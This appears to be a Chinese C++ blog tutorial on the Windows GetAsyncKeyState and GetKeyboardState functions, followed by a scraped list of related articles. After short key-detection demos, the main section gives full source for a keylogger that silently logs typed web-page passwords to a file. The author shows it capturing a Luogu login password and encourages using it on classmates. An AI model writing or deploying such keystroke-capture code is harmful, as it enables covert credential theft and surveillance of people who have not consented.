文章目录

  • luogu博客链接
  • C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数
    • GetAsyncKeyState 与 GetKeyboardState 函数的介绍
      • SHORT GetAsyncKeyState( int vKey )
      • BOOL GetKeyboardState( PBYTE lpKeyState )
    • GetAsyncKeyState 与 GetKeyboardState 函数的简单应用
      • GetAsyncKeyState 函数
        • KEY_UP
        • KEY_DOWN
      • GetKeyboardState 函数
    • GetAsyncKeyState 与 GetKeyboardState 函数的复杂应用
      • 前言
      • 用法
      • 后续
  • 写文章不易,望大家给 JG_DF_ 点个赞!

luogu博客链接

C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数

GetAsyncKeyState 与 GetKeyboardState 函数的介绍

SHORT GetAsyncKeyState( int vKey )

判断 Virtual-KeyCodes 为 vKey 的键是否 up 或 down 。用返回值的最高位表示键的状态( up 或 down ),用返回值的最低位表示 vKey 键在此函数调用之前是否被按下过。

GetAsyncKeyState 函数可以直接侦测键盘的硬件中断。

BOOL GetKeyboardState( PBYTE lpKeyState )

获得所有的 256256256 个键(键盘按键、鼠标按键等等)的状态, lpKeyState 是指向一个 256256256 bit 的数组,存放所有键的状态。

GetAsyncKeyState 与 GetKeyboardState 函数的简单应用

GetAsyncKeyState 函数

通过该函数的介绍,我们可以将它分成两部分,一个是 KEY_UP ,另一个是 KEY_DOWN ,我们以是否检测到换行(即 Enter )为例:

KEY_UP

#include<iostream>
#include<windows.h>
#define KEY_UP(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 0:1)
using namespace std;
int main() {while(1) {while(!KEY_UP(13)) {//Enter在Key Code中为13cout<<" Enter is on \n";Sleep(150);}}return 0;
}

KEY_DOWN

#include<iostream>
#include<windows.h>
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)
using namespace std;
int main() {while(1) {while(KEY_DOWN(13)) {//Enter在Key Code中为13cout<<" Enter is on \n";Sleep(150);}}return 0;
}

在上述程序中, KEY_UP 是当没有检测到 Enter 没有输入时才输出 " Enter is on " , KEY_DOWN 是当检测到 Enter 有输入时才输出 " Enter is on " 。

其实 KEY_UP 与 KEY_DOWN 是相反的,但为了方便理解,我们一般都使用 KEY_DOWN 。

GetKeyboardState 函数

该函数一般用来检测 CapsLock 或 NumLock 是否开启,但仅限于用在程序开启之前(因为程序打开后就只能靠 GetAsyncKeyState 检测了)。

我们以是否在程序开启前检测到 CapsLock 或 NumLock 为例:

#include<iostream>
#include<windows.h>
using namespace std;
BYTE lpKeyState[256];
int main() {if (GetKeyboardState(lpKeyState) ) {printf(" CapsLock is %s\n", LOBYTE(lpKeyState[20]) ? "on " : "off ");//CapsLock在Key Code中为20printf(" NumLock is %s\n", LOBYTE(lpKeyState[144]) ? "on " : "off ");//NumLock在Key Code中为144}return 0;
}

GetAsyncKeyState 与 GetKeyboardState 函数的复杂应用

前言

Q:是否存在一种程序在程序打开之后,当在本机中输入某网页里的密码时,可以将密码显示在一个 OUT 文件 test 里。

A:只要你会应用 GetAsyncKeyState 与 GetKeyboardState 函数,那么这种事情是比较容易的。

用法

首先我们要知道当我们输入某网页里的密码常按的键有哪些,则上述问题即可转化为:

读入若干个键(包含字母键、数字键、 CapsLock 键、 NumLock 键、 Shift 键和删除键)形成的字符串,要求不能在程序中显示,需打印到一个 OUT 文件 test 里。

字母键

首先用 GetKeyboardState 函数预先检测 CapsLock 键是否开启,后期用 GetAsyncKeyState 函数检测 CapsLock 键是否改变,并用 KEY_DOWN 检测是否按下英文字母 262626 个键以及 Shift 键。

在 Shift 键下如果有 CapsLock 则输出小写字母,否则输出大写字母;在没有 Shift 键下如果有 CapsLock 则输出大写字母,否则输出小写字母。

数字键

分数字键和数字键盘上的数字键。

在数字键中直接用 KEY_DOWN 检测输出即可。

在数字键盘上的数字键需先用 GetKeyboardState 函数预先检测 NumLock 键是否开启,后期用 GetAsyncKeyState 函数检测 NumLock 键是否改变,并用 KEY_DOWN 检测到数字键盘上的数字键且 NumLock 已开启输出即可。

删除键

当检测到可以输出字符时,就用一个字符串存储该字符。

当检测到删除键时,刷新 OUT 文件 test ,并将该字符串最后一个字符删掉并输出即可。

#include<iostream>//字符删除和字符输出需要的头文件
#include<cstdio>//文件创建需要的头文件
#include<cstring>//字符删除需要的头文件
#include<windows.h>//GetAsyncKeyState与GetKeyboardState函数需要的头文件
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)//GetAsyncKeyState函数中的KEY_DOWN
using namespace std;
int CapsLock,NumLock,Shift;//CapsLock键、NumLock键和Shift键的检测标记
string str;//字符存储
BYTE lpKeyState[256];//GetKeyboardState函数需要
int main() {freopen("test.out","w",stdout);//初始化文件,开始读入if (GetKeyboardState(lpKeyState) ) {//初始时检测CapsLock键和NumLock键CapsLock=LOBYTE(lpKeyState[20])?1:0;//检测CapsLock键是否已按,有就标记为1,否则标记为0NumLock=LOBYTE(lpKeyState[144])?1:0;//检测NumLock键是否已按,有就标记为1,否则标记为0}while(1) {while(KEY_DOWN(8)) {//检测删除键freopen("test.out","w",stdout);//刷新文件并读入if(str.size()!=0)//判断字符串是否是空串,如果是空串而继续删除,则会发生数组越界而程序错误str.erase(str.size()-1);//删除最后一个字符cout<<str;//输出字符串Sleep(150);}while(KEY_DOWN(20)) {//后期检测CapsLock键CapsLock=CapsLock==1?0:1;//检测CapsLock键是否改变,有就更该标记Sleep(150);}while(KEY_DOWN(144)) {//后期检测NumLock键NumLock=NumLock==1?0:1;//检测CapsLock键是否改变,有就更该标记Sleep(150);}while(KEY_DOWN(16)) {//检测到Shift键//在Shift键下如果有CapsLock则输出小写字母,否则输出大写字母while(KEY_DOWN('A')) {if(!CapsLock) cout<<'A',str+='A';else cout<<'a',str+='a';Sleep(150);}while(KEY_DOWN('B')) {if(!CapsLock) cout<<'B',str+='B';else cout<<'b',str+='b';Sleep(150);}while(KEY_DOWN('C')) {if(!CapsLock) cout<<'C',str+='C';else cout<<'c',str+='c';Sleep(150);}while(KEY_DOWN('D')) {if(!CapsLock) cout<<'D',str+='D';else cout<<'d',str+='d';Sleep(150);}while(KEY_DOWN('E')) {if(!CapsLock) cout<<'E',str+='E';else cout<<'e',str+='e';Sleep(150);}while(KEY_DOWN('F')) {if(!CapsLock) cout<<'F',str+='F';else cout<<'f',str+='f';Sleep(150);}while(KEY_DOWN('G')) {if(!CapsLock) cout<<'G',str+='G';else cout<<'g',str+='g';Sleep(150);}while(KEY_DOWN('H')) {if(!CapsLock) cout<<'H',str+='H';else cout<<'h',str+='h';Sleep(150);}while(KEY_DOWN('I')) {if(!CapsLock) cout<<'I',str+='I';else cout<<'i',str+='i';Sleep(150);}while(KEY_DOWN('J')) {if(!CapsLock) cout<<'J',str+='J';else cout<<'j',str+='j';Sleep(150);}while(KEY_DOWN('K')) {if(!CapsLock) cout<<'K',str+='K';else cout<<'k',str+='k';Sleep(150);}while(KEY_DOWN('L')) {if(!CapsLock) cout<<'L',str+='L';else cout<<'l',str+='l';Sleep(150);}while(KEY_DOWN('M')) {if(!CapsLock) cout<<'M',str+='M';else cout<<'m',str+='m';Sleep(150);}while(KEY_DOWN('N')) {if(!CapsLock) cout<<'N',str+='N';else cout<<'n',str+='n';Sleep(150);}while(KEY_DOWN('O')) {if(!CapsLock) cout<<'O',str+='O';else cout<<'o',str+='o';Sleep(150);}while(KEY_DOWN('P')) {if(!CapsLock) cout<<'P',str+='P';else cout<<'p',str+='p';Sleep(150);}while(KEY_DOWN('Q')) {if(!CapsLock) cout<<'Q',str+='Q';else cout<<'q',str+='q';Sleep(150);}while(KEY_DOWN('R')) {if(!CapsLock) cout<<'R',str+='R';else cout<<'r',str+='r';Sleep(150);}while(KEY_DOWN('S')) {if(!CapsLock) cout<<'S',str+='S';else cout<<'s',str+='s';Sleep(150);}while(KEY_DOWN('T')) {if(!CapsLock) cout<<'T',str+='T';else cout<<'t',str+='t';Sleep(150);}while(KEY_DOWN('U')) {if(!CapsLock) cout<<'U',str+='U';else cout<<'u',str+='u';Sleep(150);}while(KEY_DOWN('V')) {if(!CapsLock) cout<<'V',str+='V';else cout<<'v',str+='v';Sleep(150);}while(KEY_DOWN('W')) {if(!CapsLock) cout<<'W',str+='W';else cout<<'w',str+='w';Sleep(150);}while(KEY_DOWN('X')) {if(!CapsLock) cout<<'X',str+='X';else cout<<'x',str+='x';Sleep(150);}while(KEY_DOWN('Y')) {if(!CapsLock) cout<<'Y',str+='Y';else cout<<'y',str+='y';Sleep(150);}while(KEY_DOWN('Z')) {if(!CapsLock) cout<<'Z',str+='Z';else cout<<'z',str+='z';Sleep(150);}}//在没有Shift键下如果有CapsLock则输出大写字母,否则输出小写字母while(KEY_DOWN('A')) {if(CapsLock) cout<<'A',str+='A';else cout<<'a',str+='a';Sleep(150);}while(KEY_DOWN('B')) {if(CapsLock) cout<<'B',str+='B';else cout<<'b',str+='b';Sleep(150);}while(KEY_DOWN('C')) {if(CapsLock) cout<<'C',str+='C';else cout<<'c',str+='c';Sleep(150);}while(KEY_DOWN('D')) {if(CapsLock) cout<<'D',str+='D';else cout<<'d',str+='d';Sleep(150);}while(KEY_DOWN('E')) {if(CapsLock) cout<<'E',str+='E';else cout<<'e',str+='e';Sleep(150);}while(KEY_DOWN('F')) {if(CapsLock) cout<<'F',str+='F';else cout<<'f',str+='f';Sleep(150);}while(KEY_DOWN('G')) {if(CapsLock) cout<<'G',str+='G';else cout<<'g',str+='g';Sleep(150);}while(KEY_DOWN('H')) {if(CapsLock) cout<<'H',str+='H';else cout<<'h',str+='h';Sleep(150);}while(KEY_DOWN('I')) {if(CapsLock) cout<<'I',str+='I';else cout<<'i',str+='i';Sleep(150);}while(KEY_DOWN('J')) {if(CapsLock) cout<<'J',str+='J';else cout<<'j',str+='j';Sleep(150);}while(KEY_DOWN('K')) {if(CapsLock) cout<<'K',str+='K';else cout<<'k',str+='k';Sleep(150);}while(KEY_DOWN('L')) {if(CapsLock) cout<<'L',str+='L';else cout<<'l',str+='l';Sleep(150);}while(KEY_DOWN('M')) {if(CapsLock) cout<<'M',str+='M';else cout<<'m',str+='m';Sleep(150);}while(KEY_DOWN('N')) {if(CapsLock) cout<<'N',str+='N';else cout<<'n',str+='n';Sleep(150);}while(KEY_DOWN('O')) {if(CapsLock) cout<<'O',str+='O';else cout<<'o',str+='o';Sleep(150);}while(KEY_DOWN('P')) {if(CapsLock) cout<<'P',str+='P';else cout<<'p',str+='p';Sleep(150);}while(KEY_DOWN('Q')) {if(CapsLock) cout<<'Q',str+='Q';else cout<<'q',str+='q';Sleep(150);}while(KEY_DOWN('R')) {if(CapsLock) cout<<'R',str+='R';else cout<<'r',str+='r';Sleep(150);}while(KEY_DOWN('S')) {if(CapsLock) cout<<'S',str+='S';else cout<<'s',str+='s';Sleep(150);}while(KEY_DOWN('T')) {if(CapsLock) cout<<'T',str+='T';else cout<<'t',str+='t';Sleep(150);}while(KEY_DOWN('U')) {if(CapsLock) cout<<'U',str+='U';else cout<<'u',str+='u';Sleep(150);}while(KEY_DOWN('V')) {if(CapsLock) cout<<'V',str+='V';else cout<<'v',str+='v';Sleep(150);}while(KEY_DOWN('W')) {if(CapsLock) cout<<'W',str+='W';else cout<<'w',str+='w';Sleep(150);}while(KEY_DOWN('X')) {if(CapsLock) cout<<'X',str+='X';else cout<<'x',str+='x';Sleep(150);}while(KEY_DOWN('Y')) {if(CapsLock) cout<<'Y',str+='Y';else cout<<'y',str+='y';Sleep(150);}while(KEY_DOWN('Z')) {if(CapsLock) cout<<'Z',str+='Z';else cout<<'z',str+='z';Sleep(150);}//数字键无需检测NumLock是否开启,检测到数字键就直接输出while(KEY_DOWN('0')) {cout<<'0',str+='0';Sleep(150);}while(KEY_DOWN('1')) {cout<<'1',str+='1';Sleep(150);}while(KEY_DOWN('2')) {cout<<'2',str+='2';Sleep(150);}while(KEY_DOWN('3')) {cout<<'3',str+='3';Sleep(150);}while(KEY_DOWN('4')) {cout<<'4',str+='4';Sleep(150);}while(KEY_DOWN('5')) {cout<<'5',str+='5';Sleep(150);}while(KEY_DOWN('6')) {cout<<'6',str+='6';Sleep(150);}while(KEY_DOWN('7')) {cout<<'7',str+='7';Sleep(150);}while(KEY_DOWN('8')) {cout<<'8',str+='8';Sleep(150);}while(KEY_DOWN('9')) {cout<<'9',str+='9';Sleep(150);}//数字键盘上的数字键需检测NumLock是否开启,检测到数字键盘上的键需NumLock已开启才能输出while(KEY_DOWN('0'+48)&&NumLock) {cout<<'0',str+='0';Sleep(150);}while(KEY_DOWN('1'+48)&&NumLock) {cout<<'1',str+='1';Sleep(150);}while(KEY_DOWN('2'+48)&&NumLock) {cout<<'2',str+='2';Sleep(150);}while(KEY_DOWN('3'+48)&&NumLock) {cout<<'3',str+='3';Sleep(150);}while(KEY_DOWN('4'+48)&&NumLock) {cout<<'4',str+='4';Sleep(150);}while(KEY_DOWN('5'+48)&&NumLock) {cout<<'5',str+='5';Sleep(150);}while(KEY_DOWN('6'+48)&&NumLock) {cout<<'6',str+='6';Sleep(150);}while(KEY_DOWN('7'+48)&&NumLock) {cout<<'7',str+='7';Sleep(150);}while(KEY_DOWN('8'+48)&&NumLock) {cout<<'8',str+='8';Sleep(150);}while(KEY_DOWN('9'+48)&&NumLock) {cout<<'9',str+='9';Sleep(150);}}return 0;
}

后续

在 luogu 登录中输入密码(oyearvan114514thatsgood)就可以在 OUT 文件 test 里打印出来,如图:

(猎杀时刻)是时候用这个去诱惑你同机房睿智的同学了。。。

写文章不易,望大家给 JG_DF_ 点个赞!

C++技术:GetAsyncKeyState 与 GetKeyboardState 函数相关推荐

  1. C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数

    C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数 GetAsyncKeyState 与 GetKeyboardState 函数的介绍 SHORT GetAs ...

  2. GetKeyState、GetAsyncKeyState、GetKeyboardState函数的区别:

    GetKeyState.GetAsyncKeyState.GetKeyboardState函数的区别: 1.BOOL GetKeyboardState( PBYTE lpKeyState );获得所有 ...

  3. GetKeyState、GetAsyncKeyState、GetKeyboardState函数的区别 以及虚拟键值

    GetKeyState.GetAsyncKeyState.GetKeyboardState函数的区别: 1.BOOL GetKeyboardState( PBYTE lpKeyState );获得所有 ...

  4. STL运用的C++技术(6)——函数对象

    http://blog.csdn.net/wuzhekai1985/article/details/6658940?_t_t_t=0.20427969420870595 STL是C++标准库的重要组成 ...

  5. 技术点:connect函数的几种写法及连接方式

    技术点:connect函数的几种写法及连接方式 沭osTT 0.077 2020.07.21 09:38:09 字数 2,494 阅读 2,336 前言 conncet函数是QT中信号和槽机制的实现函 ...

  6. 提高C++性能的编程技术笔记:虚函数、返回值优化+测试代码

    虚函数:在以下几个方面,虚函数可能会造成性能损失:构造函数必须初始化vptr(虚函数表):虚函数是通过指针间接调用的,所以必须先得到指向虚函数表的指针,然后再获得正确的函数偏移量:内联是在编译时决定的 ...

  7. C语言TransparentBlt函数,技术分享 - 使用TransparentBlt函数实现绘制透明位图

    背景 在自己本科的时候,喜欢用 VC6.0 写一些小游戏来锻炼自己的编程水平.那些小游戏的游戏画面绘制都是使用Windows提供的GDI(图形设备接口)函数实现的,并没有调用现成的游戏引擎.所以,使得 ...

  8. C++中的Thunk技术 / 非静态类成员函数作为回调函数 的实现方法

    申明:本文非笔者原创,原文转载自:http://www.cnblogs.com/memset/p/thunk_in_cpp.html 用我的理解通俗地解释一下什么是C++中的Thunk技术吧! Thu ...

  9. C++ Primer 5th笔记(chap 19 特殊工具与技术)将成员函数用作可调用对象

    1. 通过一个指向成员函数的指针进行函数调用 利用.*或者->*运算符将该指针绑定到特定的对象上. 与普通的函数指针不同,成员指针不是一个可调用对象 不支持函数调用运算符. 不能直接将一个指向成 ...

最新文章

  1. zookeeper -- Mac 上 Intellij IDEA 配置 zookeeper(3.5.8) 源码阅读、运行、调试环境
  2. ASP.NET MVC 右键点击添加没有区域(Area)、控制器、试图等选项
  3. python excel 自动化-python操作excel让工作自动化
  4. SpringBoot的构造方法中使用@AutoWird注入的类会报错null
  5. 分享bootstrap3.0.2响应式模板-第三弹[Metronic_Admin]
  6. pythonselenium教程模拟鼠标和键盘_【02篇】python+selenium实现Web自动化:鼠标操作和键盘操作!...
  7. redis cluster所有节点IP修改处理方案
  8. Xcode9.x变很卡
  9. MyBatis基础:MyBatis入门(1)
  10. JQuery Easyui/TopJUI表格基本的删除功能(删除当前行和多选删除)
  11. 腾讯云linux远程桌面连接不上去,腾讯云服务器无法远程桌面连接的解决办法
  12. txt转mobi格式
  13. linux万兆网络传输速度,万兆以太网传输速度实测 (结果: 单向9984Mbps, 双向19808Mbps)...
  14. C#之字符串公式计算
  15. 主板、内存条、硬盘、显卡认识和选购
  16. 数模(2)——多属性决策模型
  17. html神坑之button的type属性
  18. Flink DataStream API 中的多面手——Process Function详解
  19. html文件转换txt乱码怎么办,网页乱码怎么解决?
  20. 如何避开JavaScript浮点数计算精度问题(如0.1+0.2!==0.3)

热门文章

  1. android打开应用程序,通过浏览器直接打开Android App 应用程序
  2. networkx是什么
  3. 通过dns-cheater安装部署个人内网DNS域名解析服务器
  4. Session.Abandon和Session.Clear的实现和区别
  5. kickstart配置文件详解
  6. electron打包后启动应用,提示cannot find module fs/promises的解决
  7. 大数据架构-使用HBase和Solr配置存储与索引
  8. catkin_make, cmake, catkin build区别
  9. vue3 组件双向数据绑定代码
  10. 0.96寸OLED屏硬件驱动电路